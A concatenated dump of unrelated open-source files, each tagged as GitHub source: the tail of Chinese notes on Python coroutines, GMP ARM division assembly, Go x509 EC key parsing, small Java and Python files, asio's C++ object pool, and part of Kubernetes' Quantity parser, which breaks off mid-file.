2. Pipe: pipe只能适用于两个进程
3. Manager: 提供进程间通信的多种数据类型,其中`Manager().Queue()`可以用在 multiprocessing.Pool中
------
### 协程
**协程是什么**:可以暂停的函数,且可以向暂停的函数传入值
**协程的目的**:
1. 采用同步的方式去编写异步的代码
2. 使用单线程去切换任务
**协程和多线程的差别**:
1. 线程是由操作系统切换的;协程是单线程切换,而且可由程序猿自己去调度任务
2. 不需要锁,并发性更高
**生成器协程**
| {
"pile_set_name": "Github"
} |
dnl ARM v6t2 mpn_divrem_1 and mpn_preinv_divrem_1.
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2012 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C norm unorm frac
C StrongARM - - -
C XScale - - -
C Cortex-A7 ? ? ?
C Cortex-A8 ? ? ?
C Cortex-A9 13 14 13
C Cortex-A15 11.4 11.8 11.1
C TODO
C * Optimise inner-loops better, they could likely run a cycle or two faster.
C * Decrease register usage, streamline non-loop code.
define(`qp_arg', `r0')
define(`fn', `r1')
define(`up_arg', `r2')
define(`n_arg', `r3')
define(`d_arg', `0')
define(`dinv_arg',`4')
define(`cnt_arg', `8')
define(`n', `r9')
define(`qp', `r5')
define(`up', `r6')
define(`cnt', `r7')
define(`tnc', `r10')
define(`dinv', `r0')
define(`d', `r4')
ASM_START()
PROLOGUE(mpn_preinv_divrem_1)
stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}
ldr d, [sp, #9*4+d_arg]
ldr cnt, [sp, #9*4+cnt_arg]
str r1, [sp, #9*4+d_arg] C reuse d stack slot for fn
sub n, r3, #1
add r3, r1, n
cmp d, #0
add qp, qp_arg, r3, lsl #2 C put qp at Q[] end
add up, up_arg, n, lsl #2 C put up at U[] end
ldr dinv, [sp, #9*4+dinv_arg]
blt L(nent)
b L(uent)
EPILOGUE()
PROLOGUE(mpn_divrem_1)
stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}
sub n, r3, #1
ldr d, [sp, #9*4+d_arg] C d
str r1, [sp, #9*4+d_arg] C reuse d stack slot for fn
add r3, r1, n
cmp d, #0
add qp, qp_arg, r3, lsl #2 C put qp at Q[] end
add up, up_arg, n, lsl #2 C put up at U[] end
blt L(normalised)
L(unnorm):
clz cnt, d
mov r0, d, lsl cnt C pass d << cnt
bl mpn_invert_limb
L(uent):
mov d, d, lsl cnt C d <<= cnt
cmp n, #0
mov r1, #0 C r
blt L(frac)
ldr r11, [up, #0]
rsb tnc, cnt, #32
mov r1, r11, lsr tnc
mov r11, r11, lsl cnt
beq L(uend)
ldr r3, [up, #-4]!
orr r2, r11, r3, lsr tnc
b L(mid)
L(utop):
mls r1, d, r8, r11
mov r11, r3, lsl cnt
ldr r3, [up, #-4]!
cmp r1, r2
addhi r1, r1, d
subhi r8, r8, #1
orr r2, r11, r3, lsr tnc
cmp r1, d
bcs L(ufx)
L(uok): str r8, [qp], #-4
L(mid): add r8, r1, #1
mov r11, r2
umlal r2, r8, r1, dinv
subs n, n, #1
bne L(utop)
mls r1, d, r8, r11
mov r11, r3, lsl cnt
cmp r1, r2
addhi r1, r1, d
subhi r8, r8, #1
cmp r1, d
rsbcs r1, d, r1
addcs r8, r8, #1
str r8, [qp], #-4
L(uend):add r8, r1, #1
mov r2, r11
umlal r2, r8, r1, dinv
mls r1, d, r8, r11
cmp r1, r2
addhi r1, r1, d
subhi r8, r8, #1
cmp r1, d
rsbcs r1, d, r1
addcs r8, r8, #1
str r8, [qp], #-4
L(frac):
ldr r2, [sp, #9*4+d_arg] C fn
cmp r2, #0
beq L(fend)
L(ftop):mov r6, #0
add r3, r1, #1
umlal r6, r3, r1, dinv
mov r8, #0
mls r1, d, r3, r8
cmp r1, r6
addhi r1, r1, d
subhi r3, r3, #1
subs r2, r2, #1
str r3, [qp], #-4
bne L(ftop)
L(fend):mov r11, r1, lsr cnt
L(rtn): mov r0, r11
ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc}
L(normalised):
mov r0, d
bl mpn_invert_limb
L(nent):
cmp n, #0
mov r11, #0 C r
blt L(nend)
ldr r11, [up, #0]
cmp r11, d
movlo r2, #0 C hi q limb
movhs r2, #1 C hi q limb
subhs r11, r11, d
str r2, [qp], #-4
cmp n, #0
beq L(nend)
L(ntop):ldr r1, [up, #-4]!
add r12, r11, #1
umlal r1, r12, r11, dinv
ldr r3, [up, #0]
mls r11, d, r12, r3
cmp r11, r1
addhi r11, r11, d
subhi r12, r12, #1
cmp d, r11
bls L(nfx)
L(nok): str r12, [qp], #-4
subs n, n, #1
bne L(ntop)
L(nend):mov r1, r11 C r
mov cnt, #0 C shift cnt
b L(frac)
L(nfx): add r12, r12, #1
rsb r11, d, r11
b L(nok)
L(ufx): rsb r1, d, r1
add r8, r8, #1
b L(uok)
EPILOGUE()
| {
"pile_set_name": "Github"
} |
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package x509
import (
"crypto/ecdsa"
"crypto/elliptic"
"encoding/asn1"
"errors"
"fmt"
"math/big"
)
const ecPrivKeyVersion = 1
// ecPrivateKey reflects an ASN.1 Elliptic Curve Private Key Structure.
// References:
// RFC 5915
// SEC1 - http://www.secg.org/sec1-v2.pdf
// Per RFC 5915 the NamedCurveOID is marked as ASN.1 OPTIONAL, however in
// most cases it is not.
type ecPrivateKey struct {
Version int
PrivateKey []byte
NamedCurveOID asn1.ObjectIdentifier `asn1:"optional,explicit,tag:0"`
PublicKey asn1.BitString `asn1:"optional,explicit,tag:1"`
}
// ParseECPrivateKey parses an EC private key in SEC 1, ASN.1 DER form.
//
// This kind of key is commonly encoded in PEM blocks of type "EC PRIVATE KEY".
func ParseECPrivateKey(der []byte) (*ecdsa.PrivateKey, error) {
return parseECPrivateKey(nil, der)
}
// MarshalECPrivateKey converts an EC private key to SEC 1, ASN.1 DER form.
//
// This kind of key is commonly encoded in PEM blocks of type "EC PRIVATE KEY".
// For a more flexible key format which is not EC specific, use
// MarshalPKCS8PrivateKey.
func MarshalECPrivateKey(key *ecdsa.PrivateKey) ([]byte, error) {
oid, ok := oidFromNamedCurve(key.Curve)
if !ok {
return nil, errors.New("x509: unknown elliptic curve")
}
return marshalECPrivateKeyWithOID(key, oid)
}
// marshalECPrivateKey marshals an EC private key into ASN.1, DER format and
// sets the curve ID to the given OID, or omits it if OID is nil.
func marshalECPrivateKeyWithOID(key *ecdsa.PrivateKey, oid asn1.ObjectIdentifier) ([]byte, error) {
privateKey := make([]byte, (key.Curve.Params().N.BitLen()+7)/8)
return asn1.Marshal(ecPrivateKey{
Version: 1,
PrivateKey: key.D.FillBytes(privateKey),
NamedCurveOID: oid,
PublicKey: asn1.BitString{Bytes: elliptic.Marshal(key.Curve, key.X, key.Y)},
})
}
// parseECPrivateKey parses an ASN.1 Elliptic Curve Private Key Structure.
// The OID for the named curve may be provided from another source (such as
// the PKCS8 container) - if it is provided then use this instead of the OID
// that may exist in the EC private key structure.
func parseECPrivateKey(namedCurveOID *asn1.ObjectIdentifier, der []byte) (key *ecdsa.PrivateKey, err error) {
var privKey ecPrivateKey
if _, err := asn1.Unmarshal(der, &privKey); err != nil {
if _, err := asn1.Unmarshal(der, &pkcs8{}); err == nil {
return nil, errors.New("x509: failed to parse private key (use ParsePKCS8PrivateKey instead for this key format)")
}
if _, err := asn1.Unmarshal(der, &pkcs1PrivateKey{}); err == nil {
return nil, errors.New("x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)")
}
return nil, errors.New("x509: failed to parse EC private key: " + err.Error())
}
if privKey.Version != ecPrivKeyVersion {
return nil, fmt.Errorf("x509: unknown EC private key version %d", privKey.Version)
}
var curve elliptic.Curve
if namedCurveOID != nil {
curve = namedCurveFromOID(*namedCurveOID)
} else {
curve = namedCurveFromOID(privKey.NamedCurveOID)
}
if curve == nil {
return nil, errors.New("x509: unknown elliptic curve")
}
k := new(big.Int).SetBytes(privKey.PrivateKey)
curveOrder := curve.Params().N
if k.Cmp(curveOrder) >= 0 {
return nil, errors.New("x509: invalid elliptic curve private key value")
}
priv := new(ecdsa.PrivateKey)
priv.Curve = curve
priv.D = k
privateKey := make([]byte, (curveOrder.BitLen()+7)/8)
// Some private keys have leading zero padding. This is invalid
// according to [SEC1], but this code will ignore it.
for len(privKey.PrivateKey) > len(privateKey) {
if privKey.PrivateKey[0] != 0 {
return nil, errors.New("x509: invalid private key length")
}
privKey.PrivateKey = privKey.PrivateKey[1:]
}
// Some private keys remove all leading zeros, this is also invalid
// according to [SEC1] but since OpenSSL used to do this, we ignore
// this too.
copy(privateKey[len(privateKey)-len(privKey.PrivateKey):], privKey.PrivateKey)
priv.X, priv.Y = curve.ScalarBaseMult(privateKey)
return priv, nil
}
| {
"pile_set_name": "Github"
} |
# Copyright 2019 The pybadge Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
__version__ = '2.3.0' # Also change in setup.py.
| {
"pile_set_name": "Github"
} |
/*
* GeoTools - The Open Source Java GIS Toolkit
* http://geotools.org
*
* (C) 2005-2008, Open Source Geospatial Foundation (OSGeo)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation;
* version 2.1 of the License.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*/
package org.geotools.styling;
import javax.measure.Unit;
import javax.measure.quantity.Length;
import si.uom.SI;
import systems.uom.common.USCustomary;
/**
* Defines the Units of Measure (UOMs) specified by the OGC SE standard and their mappings to Java
* Units defined in <code>javax.measure.unit</code>. Each entry in this enum provides both the Java
* Unit for the given UOM and the corresponding String that is defined by the SE standard.
*/
public enum UomOgcMapping {
METRE(SI.METRE, "http://www.opengeospatial.org/se/units/metre"),
FOOT(USCustomary.FOOT, "http://www.opengeospatial.org/se/units/foot"),
PIXEL(org.geotools.measure.Units.PIXEL, "http://www.opengeospatial.org/se/units/pixel");
private String seString;
private Unit<Length> unit;
/**
* Internal constructor: specifies the UOM mapping passing a specific Java Unit and the
* corresponding OGC SE string.
*
* @param unit a Java Unit (e.g., <code>SI.METRE</code>).
* @param seString a String that follows the OGC SE specification.
*/
private UomOgcMapping(Unit<Length> unit, String seString) {
this.unit = unit;
this.seString = seString;
}
@Override
public String toString() {
return seString;
}
/**
* Returns the String defined by the OGC SE specification for the unit of measure.
*
* @return a String that follows the OGC SE specification
*/
public String getSEString() {
return seString;
}
/**
* Returns the Java Unit that corresponds to the unit of measure.
*
* @return a Java Unit (e.g., <code>SI.METRE</code>).
*/
public Unit<Length> getUnit() {
return unit;
}
/**
* Returns the appropriate UOM mapping for a given OGC SE standard string.
*
* @param seString a String that follows the OGC SE specification.
* @return the corresponding UnitOfMeasure.
* @throws IllegalArgumentException if the provided String is not a valid OGC SE value.
*/
public static UomOgcMapping get(String seString) throws IllegalArgumentException {
for (UomOgcMapping uom : UomOgcMapping.values()) {
if (uom.getSEString().equals(seString)) return uom;
}
throw new IllegalArgumentException(
"'" + seString + "' is not a valid OGC SE standard Unit of Measure");
}
/**
* Returns the appropriate UOM mapping for a given Java Unit.
*
* @param unit a Java Unit (e.g., <code>SI.METRE</code>).
* @return the corresponding UnitOfMeasure.
* @throws IllegalArgumentException if the provided Unit is not part of the OGC SE
* specification.
*/
public static UomOgcMapping get(Unit<Length> unit) throws IllegalArgumentException {
for (UomOgcMapping uom : UomOgcMapping.values()) {
if (uom.getUnit().equals(unit)) return uom;
}
throw new IllegalArgumentException(
"'" + unit + "' is not a valid OGC SE standard Unit of Measure");
}
}
| {
"pile_set_name": "Github"
} |
/*
* Azureus - a Java Bittorrent client
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details ( see the LICENSE file ).
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package org.gudy.azureus2.plugins.ui.tables;
/**
* Mouse event information for
* {@link org.gudy.azureus2.plugins.ui.tables.TableCellMouseListener}
* <br><br>
* Note: 3.0.1.7 moved most functions to {@link TableRowMouseEvent}
*
* @author TuxPaper
* @created Jan 10, 2006
* @since 2.3.0.7
*/
public class TableCellMouseEvent extends TableRowMouseEvent {
/**
* TableCell that the mouse trigger applies to
*
* @since 2.3.0.7
*/
public TableCell cell;
}
| {
"pile_set_name": "Github"
} |
//
// detail/object_pool.hpp
// ~~~~~~~~~~~~~~~~~~~~~~
//
// Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
#ifndef ASIO_DETAIL_OBJECT_POOL_HPP
#define ASIO_DETAIL_OBJECT_POOL_HPP
#if defined(_MSC_VER) && (_MSC_VER >= 1200)
# pragma once
#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)
#include "asio/detail/noncopyable.hpp"
#include "asio/detail/push_options.hpp"
namespace asio {
namespace detail {
template <typename Object>
class object_pool;
class object_pool_access
{
public:
template <typename Object>
static Object* create()
{
return new Object;
}
template <typename Object, typename Arg>
static Object* create(Arg arg)
{
return new Object(arg);
}
template <typename Object>
static void destroy(Object* o)
{
delete o;
}
template <typename Object>
static Object*& next(Object* o)
{
return o->next_;
}
template <typename Object>
static Object*& prev(Object* o)
{
return o->prev_;
}
};
template <typename Object>
class object_pool
: private noncopyable
{
public:
// Constructor.
object_pool()
: live_list_(0),
free_list_(0)
{
}
// Destructor destroys all objects.
~object_pool()
{
destroy_list(live_list_);
destroy_list(free_list_);
}
// Get the object at the start of the live list.
Object* first()
{
return live_list_;
}
// Allocate a new object.
Object* alloc()
{
Object* o = free_list_;
if (o)
free_list_ = object_pool_access::next(free_list_);
else
o = object_pool_access::create<Object>();
object_pool_access::next(o) = live_list_;
object_pool_access::prev(o) = 0;
if (live_list_)
object_pool_access::prev(live_list_) = o;
live_list_ = o;
return o;
}
// Allocate a new object with an argument.
template <typename Arg>
Object* alloc(Arg arg)
{
Object* o = free_list_;
if (o)
free_list_ = object_pool_access::next(free_list_);
else
o = object_pool_access::create<Object>(arg);
object_pool_access::next(o) = live_list_;
object_pool_access::prev(o) = 0;
if (live_list_)
object_pool_access::prev(live_list_) = o;
live_list_ = o;
return o;
}
// Free an object. Moves it to the free list. No destructors are run.
void free(Object* o)
{
if (live_list_ == o)
live_list_ = object_pool_access::next(o);
if (object_pool_access::prev(o))
{
object_pool_access::next(object_pool_access::prev(o))
= object_pool_access::next(o);
}
if (object_pool_access::next(o))
{
object_pool_access::prev(object_pool_access::next(o))
= object_pool_access::prev(o);
}
object_pool_access::next(o) = free_list_;
object_pool_access::prev(o) = 0;
free_list_ = o;
}
private:
// Helper function to destroy all elements in a list.
void destroy_list(Object* list)
{
while (list)
{
Object* o = list;
list = object_pool_access::next(o);
object_pool_access::destroy(o);
}
}
// The list of live objects.
Object* live_list_;
// The free list.
Object* free_list_;
};
} // namespace detail
} // namespace asio
#include "asio/detail/pop_options.hpp"
#endif // ASIO_DETAIL_OBJECT_POOL_HPP
| {
"pile_set_name": "Github"
} |
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package resource
import (
"bytes"
"errors"
"fmt"
"math/big"
"strconv"
"strings"
inf "gopkg.in/inf.v0"
)
// Quantity is a fixed-point representation of a number.
// It provides convenient marshaling/unmarshaling in JSON and YAML,
// in addition to String() and AsInt64() accessors.
//
// The serialization format is:
//
// <quantity> ::= <signedNumber><suffix>
// (Note that <suffix> may be empty, from the "" case in <decimalSI>.)
// <digit> ::= 0 | 1 | ... | 9
// <digits> ::= <digit> | <digit><digits>
// <number> ::= <digits> | <digits>.<digits> | <digits>. | .<digits>
// <sign> ::= "+" | "-"
// <signedNumber> ::= <number> | <sign><number>
// <suffix> ::= <binarySI> | <decimalExponent> | <decimalSI>
// <binarySI> ::= Ki | Mi | Gi | Ti | Pi | Ei
// (International System of units; See: http://physics.nist.gov/cuu/Units/binary.html)
// <decimalSI> ::= m | "" | k | M | G | T | P | E
// (Note that 1024 = 1Ki but 1000 = 1k; I didn't choose the capitalization.)
// <decimalExponent> ::= "e" <signedNumber> | "E" <signedNumber>
//
// No matter which of the three exponent forms is used, no quantity may represent
// a number greater than 2^63-1 in magnitude, nor may it have more than 3 decimal
// places. Numbers larger or more precise will be capped or rounded up.
// (E.g.: 0.1m will rounded up to 1m.)
// This may be extended in the future if we require larger or smaller quantities.
//
// When a Quantity is parsed from a string, it will remember the type of suffix
// it had, and will use the same type again when it is serialized.
//
// Before serializing, Quantity will be put in "canonical form".
// This means that Exponent/suffix will be adjusted up or down (with a
// corresponding increase or decrease in Mantissa) such that:
// a. No precision is lost
// b. No fractional digits will be emitted
// c. The exponent (or suffix) is as large as possible.
// The sign will be omitted unless the number is negative.
//
// Examples:
// 1.5 will be serialized as "1500m"
// 1.5Gi will be serialized as "1536Mi"
//
// Note that the quantity will NEVER be internally represented by a
// floating point number. That is the whole point of this exercise.
//
// Non-canonical values will still parse as long as they are well formed,
// but will be re-emitted in their canonical form. (So always use canonical
// form, or don't diff.)
//
// This format is intended to make it difficult to use these numbers without
// writing some sort of special handling code in the hopes that that will
// cause implementors to also use a fixed point implementation.
//
// +protobuf=true
// +protobuf.embed=string
// +protobuf.options.marshal=false
// +protobuf.options.(gogoproto.goproto_stringer)=false
// +k8s:deepcopy-gen=true
// +k8s:openapi-gen=true
type Quantity struct {
// i is the quantity in int64 scaled form, if d.Dec == nil
i int64Amount
// d is the quantity in inf.Dec form if d.Dec != nil
d infDecAmount
// s is the generated value of this quantity to avoid recalculation
s string
// Change Format at will. See the comment for Canonicalize for
// more details.
Format
}
// CanonicalValue allows a quantity amount to be converted to a string.
type CanonicalValue interface {
// AsCanonicalBytes returns a byte array representing the string representation
// of the value mantissa and an int32 representing its exponent in base-10. Callers may
// pass a byte slice to the method to avoid allocations.
AsCanonicalBytes(out []byte) ([]byte, int32)
// AsCanonicalBase1024Bytes returns a byte array representing the string representation
// of the value mantissa and an int32 representing its exponent in base-1024. Callers
// may pass a byte slice to the method to avoid allocations.
AsCanonicalBase1024Bytes(out []byte) ([]byte, int32)
}
// Format lists the three possible formattings of a quantity.
type Format string
const (
DecimalExponent = Format("DecimalExponent") // e.g., 12e6
BinarySI = Format("BinarySI") // e.g., 12Mi (12 * 2^20)
DecimalSI = Format("DecimalSI") // e.g., 12M (12 * 10^6)
)
// MustParse turns the given string into a quantity or panics; for tests
// or others cases where you know the string is valid.
func MustParse(str string) Quantity {
q, err := ParseQuantity(str)
if err != nil {
panic(fmt.Errorf("cannot parse '%v': %v", str, err))
}
return q
}
const (
// splitREString is used to separate a number from its suffix; as such,
// this is overly permissive, but that's OK-- it will be checked later.
splitREString = "^([+-]?[0-9.]+)([eEinumkKMGTP]*[-+]?[0-9]*)$"
)
var (
// Errors that could happen while parsing a string.
ErrFormatWrong = errors.New("quantities must match the regular expression '" + splitREString + "'")
ErrNumeric = errors.New("unable to parse numeric part of quantity")
ErrSuffix = errors.New("unable to parse quantity's suffix")
)
// parseQuantityString is a fast scanner for quantity values.
func parseQuantityString(str string) (positive bool, value, num, denom, suffix string, err error) {
positive = true
pos := 0
end := len(str)
// handle leading sign
if pos < end {
switch str[0] {
case '-':
positive = false
pos++
case '+':
pos++
}
}
// strip leading zeros
Zeroes:
for i := pos; ; i++ {
if i >= end {
num = "0"
value = num
return
}
switch str[i] {
case '0':
pos++
default:
break Zeroes
}
}
// extract the numerator
Num:
for i := pos; ; i++ {
if i >= end {
num = str[pos:end]
value = str[0:end]
return
}
switch str[i] {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
default:
num = str[pos:i]
pos = i
break Num
}
}
// if we stripped all numerator positions, always return 0
if len(num) == 0 {
num = "0"
}
// handle a denominator
if pos < end && str[pos] == '.' {
pos++
Denom:
for i := pos; ; i++ {
if i >= end {
denom = str[pos:end]
value = str[0:end]
return
}
switch str[i] {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
default:
denom = str[pos:i]
pos = i
break Denom
}
}
// TODO: we currently allow 1.G, but we may not want to in the future.
// if len(denom) == 0 {
// err = ErrFormatWrong
// return
// }
}
value = str[0:pos]
// grab the elements of the suffix
suffixStart := pos
for i := pos; ; i++ {
if i >= end {
suffix = str[suffixStart:end]
return
}
if !strings.ContainsAny(str[i:i+1], "eEinumkKMGTP") {
pos = i
break
}
}
if pos < end {
switch str[pos] {
case '-', '+':
pos++
}
}
Suffix:
for i := pos; ; i++ {
if i >= end {
suffix = str[suffixStart:end]
return
}
switch str[i] {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
default:
break Suffix
}
}
// we encountered a non decimal in the Suffix loop, but the last character
// was not a valid exponent
err = ErrFormatWrong
return
}
// ParseQuantity turns str into a Quantity, or returns an error.
func ParseQuantity(str string) (Quantity, error) {
if len(str) == 0 {
return Quantity{}, ErrFormatWrong
}
if str == "0" {
return Quantity{Format: DecimalSI, s: str}, nil
}
positive, value, num, denom, suf, err := parseQuantityString(str)
if err != nil {
return Quantity{}, err
}
base, exponent, format, ok := quantitySuffixer.interpret(suffix(suf))
if !ok {
return Quantity{}, ErrSuffix
}
precision := int32(0)
scale := int32(0)
mantissa := int64(1)
switch format {
case DecimalExponent, DecimalSI:
scale = exponent
precision = maxInt64Factors - int32(len(num)+len(denom))
case BinarySI:
scale = 0
switch {
case exponent >= 0 && len(denom) == 0:
// only handle positive binary numbers with the fast path
mantissa = int64(int64(mantissa) << uint64(exponent))
// 1Mi (2^20) has ~6 digits of decimal precision, so exponent*3/10 -1 is roughly the precision
precision = 15 - int32(len(num)) - int32(float32(exponent)*3/10) - 1
default:
precision = -1
}
}
if precision >= 0 {
// if we have a denominator, shift the entire value to the left by the number of places in the
// denominator
scale -= int32(len(denom))
if scale >= int32(Nano) {
shifted := num + denom
var value int64
value, err := strconv.ParseInt(shifted, 10, 64)
if err != nil {
return Quantity{}, ErrNumeric
}
if result, ok := int64Multiply(value, int64(mantissa)); ok {
if !positive {
result = -result
}
// if the number is in canonical form, reuse the string
switch format {
case BinarySI:
if exponent%10 == 0 && (value&0x07 != 0) {
return Quantity{i: int64Amount{value: result, scale: Scale(scale)}, Format: format, s: str}, nil
}
default:
if scale%3 == 0 && !strings.HasSuffix(shifted, "000") && shifted[0] != '0' {
return Quantity{i: int64Amount{value: result, scale: Scale(scale)}, Format: format, s: str}, nil
}
}
return Quantity{i: int64Amount{value: result, scale: Scale(scale)}, Format: format}, nil
}
}
}
amount := new(inf.Dec)
if _, ok := amount.SetString(value); !ok {
return Quantity{}, ErrNumeric
}
// So that no one but us has to think about suffixes, remove it.
if base == 10 {
amount.SetScale(amount.Scale() + Scale(exponent).infScale())
} else if base == 2 {
// numericSuffix = 2 ** exponent
numericSuffix := big.NewInt(1).Lsh(bigOne, uint(exponent))
ub := amount.UnscaledBig()
amount.SetUnscaledBig(ub.Mul(ub, numericSuffix))
}
// Cap at min/max bounds.
sign := amount.Sign()
if sign == -1 {
amount.Neg(amount)
}
// This rounds non-zero values up to the minimum representable value, under the theory that
// if you want some resources, you should get some resources, even if you asked for way too small
// of an amount. Arguably, this should be inf.RoundHalfUp (normal rounding), but that would have
// the side effect of rounding values < .5n to zero.
if v, ok := amount.Unscaled(); v != int64(0) || !ok {
amount.Round(amount, Nano.infScale(), inf.RoundUp)
}
// The max is just a simple cap.
// TODO: this prevents accumulating quantities greater than int64, for instance quota across a cluster
if format == BinarySI && amount.Cmp(maxAllowed.Dec) > 0 {
amount.Set(maxAllowed.Dec)
}
if format == BinarySI && amount.Cmp(decOne) < 0 && amount.Cmp(decZero) > 0 {
// This avoids rounding and hopefully confusion, too.
format = DecimalSI
}
if sign == -1 {
amount.Neg(amount)
}
return Quantity{d: infDecAmount{amount}, Format: format}, nil
}
// DeepCopy returns a deep-copy of the Quantity value. Note that the method
// receiver is a value, so we can mutate it in-place and return it.
func (q Quantity) DeepCopy() Quantity {
if q.d.Dec != nil {
tmp := &inf.Dec{}
q.d.Dec = tmp.Set(q.d.Dec)
}
return q
}
// OpenAPISchemaType is used by the kube-openapi generator when constructing
// the OpenAPI spec of this type.
//
// See: https://github.com/kubernetes/kube-openapi/tree/master/pkg/generators
func (_ Quantity) OpenAPISchemaType() []string { return []string{"string"} }
// OpenAPISchemaFormat is used by the kube-openapi generator when constructing
// the OpenAPI spec of this type.
func (_ Quantity) OpenAPISchemaFormat() string { return "" }
// CanonicalizeBytes returns the canonical form of q and its suffix (see comment on Quantity).
//
// Note about BinarySI:
// * If q.Format is set to BinarySI and q.Amount represents a non-zero value between
// -1 and +1, it will be emitted as if q.Format were DecimalSI.
// * Otherwise, if q.Format is set to BinarySI, fractional parts of q.Amount will be
// rounded up. (1.1i becomes 2i.)
func (q *Quantity) CanonicalizeBytes(out []byte) (result, suffix []byte) {
if q.IsZero() {
return zeroBytes, nil
}
var rounded CanonicalValue
format := q.Format
switch format {
case DecimalExponent, DecimalSI:
case BinarySI:
if q.CmpInt64(-1024) > 0 && q.CmpInt64(1024) < 0 {
// This avoids rounding and hopefully confusion, too.
format = DecimalSI
} else {
var exact bool
if rounded, exact = q.AsScale(0); !exact {
// Don't lose precision-- show as DecimalSI
format = DecimalSI
}
}
default:
format = DecimalExponent
}
// TODO: If BinarySI formatting is requested but would cause rounding, upgrade to
// one of the other formats.
switch format {
case DecimalExponent, DecimalSI:
number, exponent := q.AsCanonicalBytes(out)
suffix, _ := quantitySuffixer.constructBytes(10, exponent, format)
return number, suffix
default:
// format must be BinarySI
number, exponent := rounded.AsCanonicalBase1024Bytes(out)
suffix, _ := quantitySuffixer.constructBytes(2, exponent*10, format)
return number, suffix
}
}
// AsInt64 returns a representation of the current value as an int64 if a fast conversion
// is possible. If false is returned, callers must use the inf.Dec form of this quantity.
func (q *Quantity) AsInt64() (int64, bool) {
if q.d.Dec != nil {
return 0, false
}
return q.i.AsInt64()
}
// ToDec promotes the quantity in place to use an inf.Dec representation and returns itself.
func (q *Quantity) ToDec() *Quantity {
if q.d.Dec == nil {
q.d.Dec = q.i.AsDec()
q.i = int64Amount{}
}
return q
}
// AsDec returns the quantity as represented by a scaled inf.Dec.
func (q *Quantity) AsDec() *inf.Dec {
if q.d.Dec != nil {
return q.d.Dec
}
q.d.Dec = q.i.AsDec()
q.i = int64Amount{}
return q.d.Dec
}
// AsCanonicalBytes returns the canonical byte representation of this quantity as a mantissa
// and base 10 exponent. The out byte slice may be passed to the method to avoid an extra
// allocation.
func (q *Quantity) AsCanonicalBytes(out []byte) (result []byte, exponent int32) {
if q.d.Dec != nil {
return q.d.AsCanonicalBytes(out)
}
return q.i.AsCanonicalBytes(out)
}
// IsZero returns true if the quantity is equal to zero.
func (q *Quantity) IsZero() bool {
if q.d.Dec != nil {
return q.d.Dec.Sign() == 0
}
return q.i.value == 0
}
// Sign returns 0 if the quantity is zero, -1 if the quantity is less than zero, or 1 if the
// quantity is greater than zero.
func (q *Quantity) Sign() int {
if q.d.Dec != nil {
return q.d.Dec.Sign()
}
return q.i.Sign()
}
// AsScale returns the current value, rounded up to the provided scale, and returns
// false if the scale resulted in a loss of precision.
func (q *Quantity) AsScale(scale Scale) (CanonicalValue, bool) {
if q.d.Dec != nil {
return q.d.AsScale(scale)
}
return q.i.AsScale(scale)
}
// RoundUp updates the quantity to the provided scale, ensuring that the value is at
// least 1. False is returned if the rounding operation resulted in a loss of precision.
// Negative numbers are rounded away from zero (-9 scale 1 rounds to -10).
func (q *Quantity) RoundUp(scale Scale) bool {
if q.d.Dec != nil {
q.s = ""
d, exact := q.d.AsScale(scale)
q.d = d
return exact
}
// avoid clearing the string value if we have already calculated it
if q.i.scale >= scale {
return true
}
q.s = ""
i, exact := q.i.AsScale(scale)
q.i = i
return exact
}
// Add adds the provide y quantity to the current value. If the current value is zero,
